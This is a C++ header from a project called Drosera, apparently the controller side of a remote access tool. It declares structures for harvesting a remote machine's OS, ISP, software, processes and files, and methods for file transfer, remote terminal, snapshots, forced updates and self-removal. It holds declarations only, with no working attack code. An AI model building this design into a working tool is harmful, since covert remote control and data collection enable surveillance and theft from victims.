
/*
 * =====================================================================================
 *
 *       Filename:  client.hpp
 *
 *    Description:  
 *
 *        Version:  1.0
 *        Created:  05.07.2012 22:47:39
 *       Revision:  none
 *       Compiler:  gcc
 *
 *         Author:  YOUR NAME (), 
 *   Organization:  
 *
 * =====================================================================================
 */
#ifndef CLIENT_HPP
#define CLIENT_HPP

#include "sslsocket.hpp"
#include "drosera.pb.hpp"
#include "signal.hpp"
#include "messenger.hpp"

#include <vector>
#include <string>
#include <stdarg.h>
#include <functional>
#include <memory>
#include <sstream>
#include <fstream>
#include <ev++.h>
#include <time.h>

// Send a Get parameters

#define SEND_FILE	0x0001	// Send a File
#define SEND_FUNCTION	0x0002	// Send a Function call
#define SEND_MASSAGE	0x0003	// Send a Massage to Client

#define GET_FILE	0x0101	// Send a Filerequest
#define GET_REQUEST	0x0102	// Send a Request

namespace Drosera {

// Generall User infos like name,os and some other things
struct UserInfoGenerall {
	std::string m_name;
	std::string m_computer;
	std::string m_os;
	std::string m_uptime;
	std::string m_isp;
};

// structure that keeps informations of all softwares of the client
struct UserInfoSoftware {
	std::vector<std::string> m_software;
	std::vector<std::string> m_info;
};

// structure that keeps informations of the clients hardware 
// TODO - get some more infos
struct UserInfoHardware {
	std::string m_cpu_mod;
	std::string m_cpu_spec;
	std::string m_gpu_mod;
	std::string m_gpu_spec;
	std::string m_mbr_mod;
	std::string m_mbr_bios;
	std::string m_ram_mod;
};

// infos of the clients processes
struct UserInfoProcess {
	std::vector<std::string> m_name;
	std::vector<unsigned int> m_pid;
	std::vector<std::string> m_user;
};

// same like the processes but for services
struct UserInfoServices {
	std::vector<std::string> m_name;
	std::vector<unsigned int> m_id;

};

// register informations, could get realy big so not omplemented yet
struct UserInfoRegister {
	/* TODO */
};

// generall userinfo block
struct UserInfo {
	struct UserInfoGenerall m_generall;
	struct UserInfoSoftware m_software;
	struct UserInfoHardware m_hardware;
	struct UserInfoProcess m_process;
	struct UserInfoServices m_services;
	struct UserInfoRegister m_register;
};

// struct with all data of one directory
struct FileData {
	std::vector<std::string> m_filename;
	std::vector<size_t> m_size;
	std::vector<time_t> m_date;
	std::vector<bool> m_type;
};

//main User structure
struct User {
	unsigned int m_id;
	struct UserInfo m_info;
	struct FileData m_file;
	std::stringstream m_terminal;
	MessengerBack m_mes;
	// TODO:
	// More Stuff
};

// other parameters

class Client : protected SSLSocket {

	public:
		Client ( SSL* );
		virtual ~Client ( void );

		// compare client id with this client
		bool checkId ( unsigned int );

		// get this clients id
		unsigned int getUserId ( void );

		// Get the Signals
		Signal<void, const struct User&>& signalIncome ( void );
		Signal<void, unsigned int>& signalDisconnected ( void );

		// -- Send File
		// from path
		int sendFile ( std::string& );
		int sendFile ( const char* );
		// from ios direct
		int sendFile ( std::ios& );

		// -- Send message
		int sendMessage ( std::string& );
		int sendMessage ( const char* );
		
		// -- Getting all Userdata
		const struct User& getUserData ( void ) const;

		// --  Getting UserInfo only
		int getUserInfo ( void );

		// -- Remove self 
		int sendRemove ( void );

		// -- Force Update 
		int sendUpdate ( void );
		
		// --  Getting a File 
		int getFile ( std::string& );
		int getFile ( const char* );

		/* Getting a SnapShot*/
		int getSnap ( unsigned short );
		

	private:
		// total user counter
		static unsigned int m_count;
		// global max user counter
		static unsigned int m_total;

		// User infos
		struct User m_user;

		// buffer for the incomming bytes
		std::vector<std::string> m_buffer;

		// ev-loop controller
		ev::io m_io;

		// signals for incomming data and disconnection
		Signal<void,const struct User&> m_signalIncome;
		Signal<void,unsigned int> m_signalDisconnected;

	protected:
		// methode to check what kind of bytes comming in
		virtual void checkSocket ( ev::io& , int );
		// parse the incomming bytes
		int readIncome ( void );
		
		// append msg to the older one
		inline void readMessage ( const std::string& );
		// build the filemanager archive
		inline void readFilemanager ( Drosera::Request::Filemanager );
		// insert the new terminal call to the others
		inline void readTerminalcall ( const std::string& );
		// parse the legit userdata
		inline void readUserdata ( Drosera::Request::Userdata );
		// clear software cache
		inline void clearSoftware ( void );
		// send the request to the client
		int sendRequest ( Drosera::Request& );
		// send the id of the client
		bool sendId ( void );
		// check if the incommong msg is complete
		bool checkIncome ( std::string& );
		// clear the income buffer
		void clearBuffer ( void );
};		

}
#endif
